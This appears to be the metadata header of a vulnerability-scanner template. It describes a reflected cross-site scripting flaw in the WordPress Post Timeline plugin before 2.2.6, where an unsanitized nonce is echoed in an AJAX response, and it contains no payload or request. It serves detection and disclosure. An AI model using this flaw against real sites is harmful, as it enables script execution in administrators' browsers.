info:
  name: WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The Post Timeline WordPress plugin before version 2.2.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape an invalid nonce before outputting it back in an AJAX response, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
